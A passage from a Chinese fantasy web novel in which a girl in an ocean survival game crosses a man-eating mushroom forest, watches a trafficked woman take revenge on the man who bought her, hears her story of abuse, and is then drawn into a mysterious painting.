明明应该是很梦幻的画面,像童话世界小人闯进了巨人王国,但是这些蘑菇底下不是绚烂的鲜花,纷飞的蝴蝶,而是滚烫的岩浆,她还没有靠近,就能感受到岩浆火热的温度。
玖安初生牛犊不怕虎,非得探头亲眼看看岩浆长什么样,明亮刺眼的岩浆噼啪作响,猛然向上窜起,像飞舞的火龙,迫不及待要展现自己的威风,要不是玖安缩脑袋缩得比较快,不得给她狠狠的一击。
玖安尴尬地笑,掩饰自己的缩头乌龟行径。
她们兵分两路,寻找出路,但是遗憾的是,这里没有别的路可走,往回走,也不是一个合适的选择。
一想到刚刚她的火太旺盛,把怪树的两根树枝烧地焦黑,吓得往回缩,但是在反应过来后迅速游动想要抓住她们的场景,玖安就坚决不想再穿过那片树林。
万一人家怪树欣赏欣赏自己美丽的躯体,突然发现她造成的伤口实在太丑,等她走回去,不顾一切也要报仇怎么办?怕怕!
“玖安姐姐,快来这里。”玖安走了过去,看到了一颗半人高的口蘑。
虽然不合时宜,但是玖安还是想到了煎得鲜香的口蘑虾滑,这么大的口蘑,得煎多久才能熟啊。这一个得顶上百个小口蘑了吧,有点想吃。
陆匀手脚并用爬上口蘑,口蘑的表面并不平整,让她看起来有些摇摇晃晃。
“小心点啊。”玖安担心嘱咐道。
“没事的,姐姐,我可以的。”陆匀听到玖安的关心,回过头来,给她展示了一个大大的笑脸,像盛放的太阳花,一点不复不久前怯生生的模样。
陆匀弯下腰,稍微一用力,就蹦了起来,像是在玩蹦蹦床。
下一秒,陆匀跳起来,跳到了更高的一朵蘑菇上。
“姐姐,我看到前面有人,也是这样跳过去的。”
玖安也不犹豫,爬上口蘑,跳到了陆匀所在的蘑菇。这朵蘑菇更大,完全可以容纳两个人。
站得高看得远,现在玖安也看见前面的人了。
那估计是一对情侣,或者夫妻。女子靠在男子的怀里,一副娇滴滴的模样。
她们之间的距离不是很远,仅仅隔着两三个大蘑菇。
“老公,你好厉害哦,跳了这么多个都没有选错呢。”女子看起来并不是十分年轻,皮肤有些粗糙,发量看起来挺多的,但是乌黑的发丝里夹杂着许多根白发,更显老态。
她捏着嗓子撒娇,听得玖安鸡皮疙瘩掉了一地。但是男子看起来十分受用,“嘿嘿,这下知道你老公厉害了吧。”
男子掰过女子的脸,一口亲在女子的嘴上。
他看起来年纪比女子要大许多,一半的头发花白,皮肤熏黑,但是身体强壮,手臂上肌肉十分明显,看起来是一把干农活的好手。
玖安不再注意他们,专注自己的道路。
面前的蘑菇更多了,色彩斑斓的,透着妖冶的红的,像微微凹陷的圆盘的……
她看见面前一朵相对来说不怎么起眼的白色蘑菇上,一抹暗沉的红褐色,紧紧的黏附在上面,像干涸的血迹,透露着不详的气息。
“那是大青褶伞,有剧毒。”陆匀注意到玖安的视线,解释到。
“这你也认得?我只知道什么香菇,木耳,鸡枞菇这些常见的蘑菇。”玖安大为震惊。
陆匀淡雅地笑:“在下不才,区区南云人是也。”
“懂,南云人人均技能,太厉害了吧,我觉得我们可能要挑没有毒的蘑菇跳。”玖安竖起大拇指,感慨自己抱住了大腿。
有了陆匀这位专业人士,没多久,她们就跳到了那对夫妻后面。
他们还在亲,甚至还发出了一些奇怪的声响。
玖安的手蠢蠢欲动,好想捂住陆匀的眼睛,未成年人不可以看限制性节目!
她装作喉咙有点痒,稍微咳了几声。
女子终于回过神来,伸出手装模作样地想要推开男子。<
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p>“老公,有人。”
“管他们作甚,我们做我们的。”
“哎呀,人家害羞嘛。”女子握着拳头,轻轻锤了几下男子的胸口。男子看起来十分吃这一套,笑得一脸暧昧,但终于停下了动作。
玖安长吁了一口气,好险,好担心下一秒他们就在她们面前研究生啊。
“老公,快看看下一步怎么走嘛,人家还想快一点走出去,然后一起到你的小船上。”女子握着男子的手,摇啊摇,看起来是想要摇到外婆桥。
男子则笑得一脸暧昧,另一只手也不闲着,捏了一把女子的腰。“好啦,好啦,都听你的。”
简直没眼看,玖安恨不得现在,马上眼前出现十八个男模,给她洗一洗被荼毒的眼睛。
面前是一排的红蘑菇,娇艳欲滴的,分不出有毒没毒的红蘑菇。
男子看了好一会儿,仍然做不出决定。但是看着怀里女子期待的眼神,“这个,这个是红菇,绝对没毒!”他这么说到,女子的眼睛一下子亮了起来,吧唧一口亲在了男子的脸上。
“亲爱的,你好厉害呀。”
“那可不是,也不看看你老公是谁。”可能在女子眼里男人笑得很灿烂吧,反正在玖安眼里,略显猥琐了一点。
“那个是血红菇,有毒的。”陆匀弱弱地说了一句。
女人一个眼刀飞了过来,“你个小孩乱说什么,我老公还不比你懂?”
她又转过头去,哼哼唧唧地把脑袋埋进男人的怀里,“老公,你是大山里长大的,还不比这两个城里长大的娃娃懂?别听她们瞎说。”
男人本来有些犹豫,听女人这么一说,又坚定了自己的选择。
“那可不是,你老公还能比两个娃娃差劲不成?”
“老公你快过去,让她们瞧瞧,你有多厉害。”男人看起来有些犹豫,女人嘟囔着嘴,要他快过去证明自己。
玖安握紧了拳头,感觉她们莫名其妙变成这两人play的一环。
陆匀也没有再劝说,妈妈曾经说过,人各有命,不要过多介入他人的因果。虽然她也不太懂,但是她要当一个听妈妈话的好孩子。
“快过去嘛,等走出这个海岛,我们还要一起生宝宝呢,一年生两,两年生三,我们的宝宝肯定很漂亮,可以当童模,赚大钱!到时候肯定可以给你买抽不完喝不完的烟酒。”
听到这句话,男人突然觉得来到这个陌生的世界也挺好,他有了新的能力,连一向不听他话,做那啥子事都死命挣扎的婆娘都得乖乖听他的话,依附于他而活。
瞧瞧,现在还不是得用孩子栓住他?好要生好几个嘞。
男人一想到未来好几个孩子孝敬他的场面,就忍不住想要笑,一定得生个男孩,给他们老孙家延续香火。
以前他妈还说要让这婆娘生好几个孩子栓住她的心,好让她永远留在这里,别让他们的钱打水漂。
现在看吧,这贱女人还不是得乖乖被他玩?还主动提出要给他生孩子,以前对她这么好,还天天想着逃跑,果然就是贱!
但是有时候,他不介意偶尔满足一下她的要求,好让她对他更加言听计从。
年纪一大把却一事无成的老男人,猛然间受到这样的追捧,自信心爆棚,坚信自己作出绝对正确的选择。他倒退几步,一个冲刺,跳到了对面的红色蘑菇上。
9. 海岛结局
还没等男人落在蘑菇上,蘑菇的伞面翻转,像捕蝇草一样,一口将男人吞进腹中。
“啊!”里面传来男人的哀嚎,鲜血沿着没有完全闭合的伞缝流了出来,落在白色的蘑菇杆上。
“老公!”女人捂着脸,跌坐在蘑菇上,一副不愿意相信的模样。
蘑菇笼子剧烈地抖动着,像帕金森患者,是男人在里面拼命挣扎。
女人呜呜地哭泣着,玖安默默用一只手捂住了陆匀的双眼,然后又用剩下的一只手捂住自己的眼睛,当然,悄悄留了一条缝隙。
我们好孩子不看这么血腥的画面哈,当然,偷偷看不算。
蘑菇里的动静渐渐小了起来,女人的肩膀抖动着,一耸一耸的,看起来像是伤心到了极致。
男人的嚎叫愈发微弱,看起来像是快要走到生命的尽头了。
女人默默移开自己的手,那张素净但看起来苍老的脸上,没有一丝泪痕,她的眼眶微微泛着红,嘴角却勾起奇异的弧度,看起来让人不寒而栗。
“哈哈哈!孙耀祖,你也没有想到自己会有这一天吧!哈哈哈!”
一副大仇得报的癫狂模样。
玖安瑟缩,这是误入了什么复仇节目吗?不要注意到她们啊,她们只是两个无辜的过路人。
她慢慢站直身子,颇为恶心地用手背狠狠擦了好几遍自己的嘴唇,由于用力过度,薄弱的嘴唇很快就被磨破,丝丝鲜血溢了出来,女人更显恶意。
她瞥了一眼缩在身后的两人,脸上显现出一抹怀念和羡慕。但很快又将注意力放在了蘑菇包身上,没有对她们做什么,只是眼神死死地盯着眼前的这个蘑菇大鼓包,如果眼刀能杀人,面前的蘑菇君和里面的男人估计得死个千八百遍。
“承认吧,你不过是个连老婆都要从外面买来的懦夫,一事无成,一大把年纪也没有人愿意嫁给你,长得丑,玩得花,连那啥玩意都小得可怜的妈宝男,脚臭熏出二里地,成事不足败事有余的懦夫!”
女人的手紧紧握着,手上的肌肉紧绷着,最后一句话几乎是吼出来的。明明没有美甲,手心却被抠破,她却感觉不到疼痛一样,手依旧攥得紧紧的。
里面看起来气息快无的男人显然听到了这一番话,回光返照,又用力挣扎起来,蘑菇包上出现他的脚印,像回到了母体一样
“回炉重造吧你,脑子里只有二两肉的恶心玩意,哦,不对,说不定连一两也不够。”
女人接连不断地骂了接近半个小时,从男人骂到男人的十八代祖宗,连口气都不用换,直到男人再也没有挣扎的力气,蘑菇鼓包平静下来,然后人性化地晃动了一下,膨出一堆碎骨,像烟花一样,在空中炸开,散落在四面八方。
一部分掉落在女人的脸上,女人却依旧笑得畅快。
有些距离的玖安陆匀两人也不能避免,玖安默默把衣服上的碎骨抚掉,浓烈的血腥气让她几欲作呕。
还有一部分掉在了蘑菇下的岩浆下,刺啦几声,就被吞没了。
没多长的时间,一个活生生的人就这样在她们面前死去,连骨渣都没有剩下。
从女人的话语里,玖安拼凑出一个女性不幸被拐卖的故事,男人不是好人,但是活生生死去的现实还是让她产生了一种兔死狐悲的悲凉感。
这个世界远远没有她想象中的那么安全,稍微走错一步,就会命丧当场。或许她能平安地活到现在,是因为她运气好吧。
红色的蘑菇消化完一个这么大的人,发出了一声巨响,像是打了一个饱嗝一样,蘑菇鼓包舒展开,又变回一株漂亮的蘑菇伞。
鲜艳的血迹沾染在本就妖冶的伞面上,让红伞看起来更加艳丽,像婀娜的美人,散发出一种餍足的慵懒感。
自从男人彻底死亡,女人没有再说一句话,她就这么静静地站在那里,看着男人的尸骨消失殆尽。
她看起来像是被人抽干了气力,解脱了,也虚脱了,手脚也是软绵绵的,一种大喜大悲后的疲倦。
女人回过头,给了她们一个安抚性的笑容,“别怕,我不会害你们的。”
她的声音几近轻柔,像轻飘飘的羽毛,不留什么重量。
这时关于她是恋爱脑,看起来不可理喻的妇女的印象都消失不见,她看起来就是一个温柔的女人,一个柔和亲切的女人。
她率先动了起来,很明显,女人对蘑菇的品种也颇有研究,几乎不用思考,她就绕过一朵又一朵毒蘑菇,非常轻易就来到了终点。
跟在女人的身后,玖安和陆匀只需要进行简单地抄作业,也很快速地走出了蘑菇林。
“叮,恭喜完成‘跳一跳’挑战,奖励神秘大礼包一份。”
突如其来的机械音吓了玖安一跳,下一秒,一个大转盘出现在她的面前。
玖安已经见怪不怪了,她已经深切地认识到这个破游戏的尿性了,这估计是赌徒设计的游戏吧,没有一个奖励不赌的,以后叫它“狂赌游戏”得了。
面前这个转盘看起来要比以前完成任务的转盘良心不少,至少“谢谢参与”和“一粒米”的概率加起来只占百分之四十。
玖安怀疑她被这个游戏pua习惯了,居然觉得这已经很好了。
剩下的部分是各种各样的蘑菇,看起来还有很多毒蘑菇,总不能抽到一个会吃掉自己的道具吧。
想到刚刚的画面,玖安冷汗都要冒出来了。
但是,努力了这么久获得的奖励不能不拿,她轻轻摇动转盘。
“叮,恭喜获得‘墨汁鬼伞’”,一朵暗灰色,有着似藤蔓纹理的蘑菇出现在她面前。
【墨汁鬼伞】
墨汁鬼伞喜欢自己的外表,它的伞盖上有着大自然母亲亲手为它绘制的神秘图案,每次欣赏自己的纹理,它就好像回到了母亲的怀抱。
大自然母亲是它的榜样,它也想像母亲一样庇护他人,虽然很多可爱的小动物都因为它的毒性远离它。
但是,请注意,它非常讨厌酒鬼!酒鬼请勿靠近!
技能:小墨有个愿望,它想为亲爱的主人遮风挡雨,当然,字面意思上的遮风挡雨,但是,拒酒鬼!
一眨眼,蘑菇变小,躲在她的头发上,像一只小小的发夹,别说,真是特殊,还挺可爱的。
大家看完自己的奖励,气氛一下子冷凝下来。
“你们,愿不愿意听一听我的故事?”女人打破了沉默的气氛,她蜷缩着,双手成环状抱住自己的腿,脸微微侧着,就这样看着她们。
像是无家可归的孩子,下意识想要寻找曾经在母胎里的温暖。
故事?她最爱听故事了!
玖安积极举手,表示自己愿意的态度。当然,她也不忍心拒绝这位看起来经历沧桑的女人。
陆匀眼睛亮晶晶地看着女人,在陌生人面前,她好像又恢复了社恐的属性,非必要不讲话。
“我叫许煦,煦,指温暖,也指清晨的阳光。”
许煦还记得小时候爷爷奶奶高高地将她举起,面上是慈祥的笑容,“我们煦煦啊,要一辈子生活在阳光底下,幸福快乐啊!”
她有美满的家庭,有着快乐的童年和幸福的校园生活。
每一位她遇见相识的人,都对她温柔以待,她生活在温暖的玻璃房里,像是童话世界里面的公主,不谙世事。
可是,家庭里没有教给她的,总有一天,社会会以狠狠的一击,告诉她这个世界有着多少阴暗腌臜。
许煦扶了一位孕妇过马路,甚至呵护她直到她回到自己的家。
她以为只是一个小小的善举,哪怕不会收获感激,至少,她心里会很开心。
但是,噩梦对着她挥下镰刀。
那间屋子里是什么呢?
她永远都不会忘记那一天,那间黑暗的屋子,像是一条湿滑阴冷的蛇,攀上了她的双腿,紧紧桎梏着她,她流着泪哭哭哀求,但是蛇毫不留情地咬下她的脖颈,撕咬下她的血肉,将她的灵魂,那颗善意的灵魂,从躯壳里拽离,留下空洞的身躯。
她变成了一个破布娃娃,一个没有灵魂的破布娃娃,然后以很好的价格,转手给了下一位顾客。
许煦记得一双双粗糙油腻的手,抚上她的肌肤,她的梦想,她想要成为一位称职的护士的梦想,想要找一个很好的人,组建一个同样幸福的家庭的梦想,就这样轻飘飘地变成了泡沫,没有了踪影。
她不是没有想过
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逃跑,但是黑暗的铁笼将她牢牢禁锢,会挣扎的娃娃很有意思,会逃跑的羔羊就无趣了,他们折断了她的尾羽,折断了她飞向自由的希望。
许煦再也不会肆无忌惮,露齿地大笑了,那些快乐的瞬间,成为她记忆里,不可触及的东西,现实留给她的,是一双断腿。
玖安听着听着,眼圈红了一大片,再看陆匀,抽抽搭搭的,紧紧抱着玖安的手臂,甚至没有注意力气。
玖安觉得自己手臂明天估计要肿大一圈了。
许煦曾经有一个孩子,一个不被她期待的孩子。她曾经幻想过自己未来有孩子的画面,如果是一个女孩,她要给她买很多漂亮的小裙子,像打扮洋娃娃一样打扮她。如果是一个男孩,就买很多的小汽车,让他成为小区里孩子们最羡慕的一位。
但是现实是,她泡在冰冷的水里,不知道泡了多久,直到那个小生命彻底从她的身体里消失,那是一个不被她期待的孩子,那是一个不被她期待的孩子……
在昏迷的时候,她还在想,算了吧,就这样算了吧,这个世界很美好,但是她下辈子再也不要来了。
天知道她醒来的时候有多么欣喜,她终于逃离了那片地狱,那个人人都是恶魔,无论男女老少,都是恶魔的地方。
她的断腿奇迹般地恢复了,她觉得上天是多么眷顾她啊。
可是,她又遇见了那个男人,那个无数次出现在她噩梦里的男人。
他甚至拥有了力量异能,上天似乎再一次站在他那一边。
许煦没有想过这么简单就能永远除去了那个男人,原来那座压了她那么久的大山,在脱离了那个特定的环境后,不过是个蠢笨如猪,一激就怒的玩意。
可是,就是这么个玩意,把她的人生弄得一团糟!
许煦又哭又笑,陈久的,压在她心里的石块,在这样的诉说中,终于掉落。
她不知道为什么自己要把这些伤疤硬生生地掀开,讲述给两个没有一丝交集的陌生人听。
但是也正是因为完全陌生,让她没有后顾之忧地,尽情地挖出一块又一块的腐肉,那些带给她痛苦,无时无刻不在折磨着她的伤疤。
她诉说完一切,又变得诡异的冷静,她自嘲般的笑,大约是许久没有笑过了,那笑生硬极了。
“是我做错什么了吗,为什么要让我遭受这一切呢?”
陆匀走了过去,轻轻地抱住了她,“姐姐,你没有错,你是天上纯白的天使,所以总有地上的臭虫想要沾污你,错的是他们,错的是那群不知礼法,贪婪又污浊的恶魔!”
还没成年的孩子,眼睛透彻明亮,没有沾染一点人世的污浊,就这么带着怜悯和心疼,用未丰满的羽翼,短暂地庇护了一下迷途的旅鸽。
许煦闭上眼,眼泪一滴一滴地掉落,浸湿了陆匀的衣领。
是呀,错的人,怎么可能是她呢?
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离开大蘑菇林后,一路畅通无阻,她们很快就穿过了海岛,托陆匀和许煦的福,她们还捡了好多可食用蘑菇,当然,是常见大小的,不是能吃人的那种。
玖安简直不敢想象用这些新鲜蘑菇煲鸡汤会有多鲜甜!多的还能晒成蘑菇干,想想心里就美滋滋。
海岛探索任务居然是有时间限制的,但是,是在结束前一分钟才通知她们!
搞得她们只能慌里慌张换了联系方式,都还没来得及认真地道别,就被传送回自己的船上了。
熟悉的挤压感,说句不好听的,玖安觉得自己像小肠里的什么恶心玩意。
“叮,海岛探索结束,成功探索海岛,奖励已下发。”
不知为什么,探索海域的任务也完成了,现在她有两次转盘机会。
但是,她还没来得及转盘,就看见她的小舟,变得似乎有些奇怪。
一颗细长的树根蜿蜒而上,把她卧室的天花板给顶破了!
啊?啊?啊啊啊?
她只不过是外出了短短两天,为什么事情会变成这样啊,她的天花板,她亲爱的可以遮风挡雨的天花板!
天杀的,还她妈生天花板啊!
10. 一棵狗子
玖安跑到房间里查看情况,该说不说,小舟实在是太小了,不过短短几步路,她就到了房间,看到了令她心碎的一幕。
房间里四处堆满了不知什么时候从海里捞起来的箱子,就连那温暖柔软,每天早上都用它那宽广的胸怀挽留她的豪华大床,都惨遭毒手,上面乱七八糟地堆叠着大小不一的箱子。
最上层的木箱甚至还在滴着水,散发出一股子海水的腥味。被子估计已经湿过一轮了,原本干净洁白的被子现在多了一大滩淡黄色的印记,应该是因为被子被海水浸湿又干了导致的,但是现在又湿了!
玖安破防了,一想到她辛辛苦苦从海岛上跑酷回来,就指望在大床上卷着被子滚来滚去,变成一个大花卷睡一场大觉,现在好了,一切都毁了。
她的天花板,她的大床!
事实上,人没有最倒霉,只有更倒霉,天上不知不觉下起了丝状的小雨,然后逐渐变大,透过秃噜的天花板对玖安进行精神和□□上的精准打击。
雨下得实在不算小,床板上隐隐约约有些积水,林玖安欲哭无泪。
正呆愣时,她头上安安静静待着的小蘑菇跳到空中,像膨胀的气球,一点一点变大,直到和小舟差不多大,才停止了变化,它牢牢地罩住了小舟,完美到再没有一丝雨飞进来。
玖安喜极而泣,好险,差点以为自己要当一个晚上的落汤鸡呢。
她都想给小墨一个大大的亲亲了,但是看到沿着菌伞接续不断往下坠的黑色粘液,玖安还是默默退一步。
小墨啊,不是她坏心眼不懂感恩哈,实在是她身上没有抗毒系统,只有一条命,是真的害怕自己被毒死啊。她是真的很感谢它的,真的!
有了小墨为她遮风挡雨,玖安终于有精力研究一下导致她一朝回到解放前的玩意了。
是“一颗种子”,哦不,现在应该称呼它为“一棵小树”。
原本就不大的花盆几乎被它占满,只留下一小块地方,那里种着“一粒米”,现在也长出小芽了,但是可能是因为小树占领了太多的位置,抢占了大部分的养料,小芽看起来瘦瘦弱弱,甚至还泛着黄,看起来一吹就倒。
小树似乎可以感受到玖安正在打量她,欢快地扭动着它的身躯,看起来像撒欢的二哈。
见玖安没有动作,它弯着树枝,扭来扭去,扭到了她面前,然后试探性地碰了碰玖安的手臂。
玖安没有反应,实际上是不知道该做些什么反应,这个世界连树都能成精,打破了建国以后不能成精的定论,真是好得很呢。
小树看玖安没有拒绝她的触碰,肉眼可见地更兴奋了,它飞快地伸长树枝,缠住了她的腰,将她举到半空中,左右摇摆,看起来是想要和她共舞一曲。
玖安不想跳舞,要是知道没有反应就会遭遇这些,她可能会想要给一分钟前的自己一个大大的巴掌。
从来不晕车的她现在想吐的很,为什么要让她经历这些啊!
“够了!”在好不容易把腾然升起的呕吐欲压下去后,玖安终于忍不住喊道,“快放我下来。”。
小树明显僵硬在原地,然后慢慢把她放回地面。
玖安好不容易回到地面,只觉得天上飞来飞去的小鸟真是厉害,这半空果然不是她应该待的地方。
还是脚踏实地的感觉好啊,她扶着墙壁,面色苍白,干呕了几声。
小树将所有树枝收回,紧紧贴在树干上,看起里像一个知道自己犯了错的孩子,老老实实地缩在角落。
但是一个没注意,小树的枝丫又飞快窜了出去,甚至把小蘑菇顶开了一条缝,然后卷起海面上的一个木箱子,献宝式地递到了玖安面前,背对着玖安的几根树枝晃来晃去,像是邀功的狗尾巴。
玖安默默抹了一把因为刚刚小树一番操作,落在她脸上的雨滴。不知道现在该说些什么好,是不是还应该夸奖一下它?
“谢谢哈。”她最后觉得还是夸一下吧,不知道为什么,这小树看起来狗里狗气的,除了拆家以外,目前看起来别的地方还挺好的,至少还会帮她拿外快,玖安觉得自己还是应该当一位不扫兴的家长。
说完,玖安自己都沉默了,完蛋了,小树的行为太像哈士奇,下意识就把自己当家长了。
算了,反正已经变成这样了,就当养了一条狗吧。干脆就叫狗子吧,让她永远记得它拆家的这一天。
想起还有奖励没领,玖安还是决定先看看能转出什么好东西。
转盘重新出现,还没等玖安动手,一根树枝悄悄地移动到转盘附近,然后,看起来兴致冲冲地用了很大的力气转动五彩缤纷的转盘。
看着像仓鼠的跑步机一样飞速旋转的转盘,玖安感觉人麻了,脑袋瓜子嗡嗡地响。
按照这个游戏的尿性,这个力度,不知道要等到猴年马月,指针才会停下来呢。玖安给了狗子一巴掌,狗子的叶子颤动,哗啦啦地响,一整棵树又躲在角落自闭了。
事已至此,吃饭要紧。玖安叹了口气,拿出在海岛上采摘的新鲜蘑菇,把蘑菇处理干净塞进鸡肚子里,这样蒸出来的鸡肉,重点就在于除了盐什么也不要放,别提有多鲜了。
好吧,除了盐,她也没有其他调料了。
顶多还有一把在海岛上偶然发现的葱花。
玖安还烤了一条鱼,在海岛上不方便做饭,她啃了两天的干巴面包,那干巴面包能有什么营养?在海岛上活动量又大,现在她觉得自己可以生啃一整头牛。
饭饭,香香!美味的食物使人心情愉悦,玖安嘴角挂着笑,将所有食物盛出来,正准备咬一口喷香的烤鱼,但是总觉得有什么地方不对劲,感觉自己忘了什么。
不管了,太饿了,先咬一口!
酷嗤酷嗤啃完大半条鱼,她不得不感慨,自己厨艺真好啊,这鱼基本没有刺,非常方便食用,香香!
等到把鱼都吃完了,正准备对蘑菇蒸鸡下手的玖安,终于想起来自己忘记什么了,她把该该给忘了!
玖安连忙把该该连人带床从背包里拿了
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出来,该该看起来刚醒,双腿交叠在臀下,眼睛惺忪,还带着一丝泛红。
白色的长袍松松垮垮地挂在它的身上,透过领子,可以看见它锁骨处微微凹陷的线条。
玖安移开视线,让人毫无欲望的儿童身材,没错,让人毫无欲望的儿童身材。
仔细想了想,又感觉哪里不太对,不对啊,该该是个针灸小人,她干嘛要不好意思,谁家的针灸小人穿衣服的?都是她人好,才允许它穿衣服,外面坏人很多,他们都只会欺负针灸小人,只有她对该该是真心的,对它一个小人好!玖安心安理得地把视线移回该该身上。
它举起双手揉了揉眼睛,然后呆呆地看着她,看起来还没有完全清醒。
宝宝,你已经睡了好多天了!怎么看起来还是一脸困倦样,是不是趁着她不注意,晚上偷偷爬起来通宵了?
该该吸了吸鼻子,然后双手撑在小床上,目光钉在了玖安面前的蘑菇蒸鸡上。
傻孩子,差点吃饭都赶不上热乎的了,所以不要天天睡大觉。
玖安有点心虚,拿出特意给该该准备的小碗。
别说,这小碗还是从木箱子里开出来的嘞,她当时还在想自己已经开出很多锅碗瓢盆了,这个儿童碗好像没有特别大的用之地,可能要压箱底了,现在可算是找到最适合这个小碗的地方了。
拳头大的碗在四十厘米的小人面前也变得巨大起来了呢,太可爱了吧。
玖安心满意足地撕下一大块鸡肉放在了该该的碗里,又夹了几根蘑菇给它。
该该这次选择先吃蘑菇,它拿着小勺子慢吞吞的把蘑菇的头部吃掉,眼睛一下变得亮晶晶,吃饭的速度都快了不少。
吃完后,还端着小碗递到玖安面前,表示自己还要。
玖安有些犹豫地摸了摸该该的肚子,该该想躲,没躲掉,也就任由她摸了。奇怪,这么个小身板,吃一碗肚子就应该鼓起来了,这怎么跟没吃一样。
但是想想该该毕竟不是真的人类,估计吸收方式也和人类不太一样吧,她又盛了一碗给它,孩子想吃就吃呗,那咋啦?
该该又开开心心干起饭,看起来乖巧极了。
谁会讨厌一只会自己吃饭,安安静静的乖小人呢?现在不是鼓励生育吗?她就要这个!
嘿嘿,不用她套彩色麻袋,乖小人已经是她的啦。
狗子站在角落里,心里留下了羡慕的泪水,它慢慢伸出树枝,想要抢走该该的儿童小碗,但是被玖安一巴掌打落。
狗子委屈,狗子哭泣,狗子要上告中央。
凭什么区别对待,凭什么!
狗子只是想要一个属于自己的小碗罢了!
玖安在角落里翻翻找找,掏出了一个脸一样大的盆,递给狗子。
“狗子,爱你,就要给你大份的!”狗子又恢复活力,把盆顶在树干顶部,看起来好不高兴。
玖安悄悄又给该该夹了一大块肉。
唉,小小年纪,已经感受到有二胎的烦恼了。
11. 幺儿
收拾东西是一个巨大的工程,人类总是能在不自觉中生产出大量的垃圾。不过,那些也许在人类看来无用的东西,是其他生物的宝物,而那些人类觉得珍贵的,或者是人类本身,对于他种生物而言,才是废物。
玖安将所有箱子拆开,分门别类,把所有的资源慢慢整理好。
这个过程实在漫长,或者应该说是狗子把家拆得太过破烂,修补起来过于麻烦,勤劳的蜜蜂估计都没有现在的她这么晕头转向。
狗子异常的安静,没有再搞什么幺蛾子。
对于爱闹腾的生物来说,如果能像石头一样沉静忍耐固然是一件好事,但是如果你没有亲眼看见它老老实实待在原地,总会有些担心对方是出了什么事,或者是暗地里憋了个大的,等着在你措不及防的时候给你狠狠一拳,让你分不清东西南北。
林玖安抱着这样的心理在船板上找到狗子——这家伙居然拖着盆跳到了甲板上。只是可怜了和它生活在一起的“一粒米”,不但生存空间被大大地挤压,还得陪着狗子到处乱跑。
狗子依旧顶着那个大盆,但是与之前不同的是,不知何时,那盆上结了一张蛛网,蛛网用灰黑色的丝织成,布局精巧,不得不让人惊叹一句大自然的鬼斧神工。
蛛网上待着一只银蓝色蜘蛛,全身是细密的绒毛,要是远远看上去,像极一朵蓬松的蒲公英,似乎只要她愿意,轻轻一呼气,就可以让这朵蒲公英轻飘飘地在空中旅行上那么一段时间。
狗子的枝条颤颤巍巍爬到蜘蛛面前,轻碰它的背,然后被一巴掌挥开了。
蜘蛛估计是感受到动静,慢慢悠悠转了个方向,黑眼珠看了眼玖安,又低下脑袋,两条腿不知道在身下摸索什么,过了好一阵子,掏出了一张画卷,向前伸了伸腿,示意玖安接过画卷。
它好像十分清楚这条小舟真正的主人是谁,在替自己交安家费,脑袋丁点大的小东西,看起来却很显聪明,特别是和它身下的狗子相比。
狗子伸出一根枝条,挠了挠树干,三两篇叶子晃晃悠悠飘落。
没等玖安接过画卷,原本看起来又轻又小的画卷悄悄然展开,像吸水的海绵一般,越变越大,飘荡在空中。
小墨在停雨的时候就变回发夹别在玖安的脑门上,现在画卷取而代之在她头顶上延伸。
玖安仰着头,看见画上穿着朴素的人民,整齐的田埂,错落分布的小屋,还有烟囱里冒出的袅袅炊烟。
画卷右下角,缓缓浮现几行字:
天使下凡尘,
赐你一杯羹,
受宠先谢恩,
倒进污水盆。
玖安看不明白这些字的含义,但是却很奇怪地将这段话记在了心里。
画完全展开,藏在暗处,显现出一个身着华服的女子,她的头上华冠璀璨,容貌姣姣,手上捧着什么东西,看不太真切。
她面露慈悲,低垂着眼眸,注视着怡然自得,安居乐业的人民,像欣慰于人民幸福生活的神女。
突然,女子抬起头来,露出诡秘奇怪的笑容,让玖安鸡皮疙瘩长了一身。
一只枯瘦如柴的手伸出来,不等玖安反应过来,一把抓住她的手腕,把她拉了过去。
画卷一阵剧烈的抖动,像被石子打破平静的赛里木湖的湖面。然后慢慢平静下来,重新变回巴掌大小的画,掉落在地上。
小舟依旧游荡在海面上,少了些什么,但除了狗子慌张地蠕动,又被蜘蛛一巴掌拍老实以外,没有任何变化。
-------------------------------------
“幺儿,给我去厨房拿瓶酒来!”声音从遥远的天际传到耳边,变得真切。
林玖安在一张破旧的床榻上醒来,床上棉被破了好几个洞,棉絮掉出,拖拖沓沓地黏糊在破洞上,被面已经被清洗得褪了色,但是却很干净,散发着淡淡的皂角气味。
一个很小的房间,除了那张床榻和角落里堆满的各式各样的废铜烂铁以外,没有更多的东西。
稍一动弹,她的脑袋就阵阵泛着疼痛,细细麻麻。
“幺儿,幺儿,快拿酒来!”沉闷的男音又响起,这一次,男子的语气急促。
玖安爬下床,换上了鞋子,那是一双布鞋,鞋子上打了好几个补丁,对于她而言,甚至大了许多,穿上显得有些拖沓。踩在地上,发出“嚓嚓”的声响。
肢体作出下意识的反应,她轻而易举来到厨房。
是传统的柴火灶,曾经玖安的奶奶家就用的这种灶台,自从生活条件变好后,老家的厨房也经过全面的刷新,换成现代社会方便快捷的煤气灶。有的时候,她会回忆起小的时候,奶奶用这种灶台做出的柴火饭,那是一种完全不一样的味道。
墙面没有刷漆,砖块裸露在外,或许是经历了长时间的烟熏火燎,看不清原本的颜色,几根散乱的木材随意摆放在墙角。
几瓶酒被摆在明显的地方,装着酒的瓶子污浊,里面的酒估计也不太纯,看起来十分浑浊。
米袋里是颜色混杂的糙米,看起来已经不太多了。灶台边有一个半人高的水缸,里面只剩半数的水,一个葫芦瓢飘荡在水面上。
玖安透过水面,隐隐约约看到自己的脸——一张完全不熟悉的脸。年纪不太大,估摸着十四五岁左右。
但是这张脸五官端正,眉眼精致,除了脸色有些蜡黄,唇色暗淡,算得上是一个美人胚子。
她的额头上有一个伤口,这估计导致她脑袋疼的原因。
除此之外,厨房里再没有什么东西。
“酒!酒!”催促声响起。
林玖安拿起一瓶酒,循着声音传来的方向走了过去。
入眼便是遍地的酒瓶,七零八落,东倒西歪。空气里酒气几乎要浸润到每一粒分子里,一个中年男人躺在床上,酒的气味经过人体散发出来,更令人作呕。
那男人看起来很久没有移动过了,床上凉席上几乎有一个人的印子
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,是污黄色的污渍。
“怎么这么久!”
他一把夺过玖安手上地酒,用牙咬开瓶盖,就这么迫不及待地灌了一口酒,胡子拉碴下的嘴看起来跟不上主人的动作,丝丝酒液溢了出来,顺着他的嘴角流到脖子上,然后消失不见。
男人拿到酒后,便没有管过玖安,只是自顾自地饮酒。
玖安默默离开,回到了她醒来的房间。
“叮,检测到玩家进入随机事件,请玩家完成事件,奖励:随机。”
